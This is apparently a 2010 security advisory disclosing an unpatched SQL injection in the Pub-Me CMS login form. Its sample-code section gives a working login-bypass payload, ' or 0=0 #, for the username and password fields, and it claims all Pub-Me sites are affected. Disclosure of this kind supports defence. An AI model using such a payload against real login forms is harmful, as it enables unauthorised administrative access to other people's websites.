                              _______ _____   ___
                             |   |   |  |  |.'  _|
                             |       |__    |   _|
                             |___|___|  |__||__|

Pub-Me CMS Blind SQL Injection Vulnerability

 Name:              Pub-Me CMS
 Vendor:            http://www.pub-me.com/
 Versions Affected: //unknown, all current affected - devel. homepage & 33 clients web pages
 Software Link:     Not aviable, Demo can be requested by e-mail from vendor
 Found by:          H4f, <Sec was born project, Anonymous submission>
 Contact:           zotrob [at] gmail [dot] com
 Date:              2010-10-25

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX


I. ABOUT THE APPLICATION
________________________

Pub-Me Content Managment System is designed to make it possible for you to pay full
attention to the content without having to bother about technologies.

II. DESCRIPTION
_______________

NOT properly sanitised form before being used
in a SQL query.


III. ANALYSIS
_____________

Summary:

All Pub-Me based websites are vulnerable, any more/less trained monkey can reach admin panel.
______________________


IV. SAMPLE CODE
_______________

Blind SQL Injection

 Login>   ' or 0=0 #
 Pass>    ' or 0=0 #

V. FIX
______

Vedor contacted, no reponse.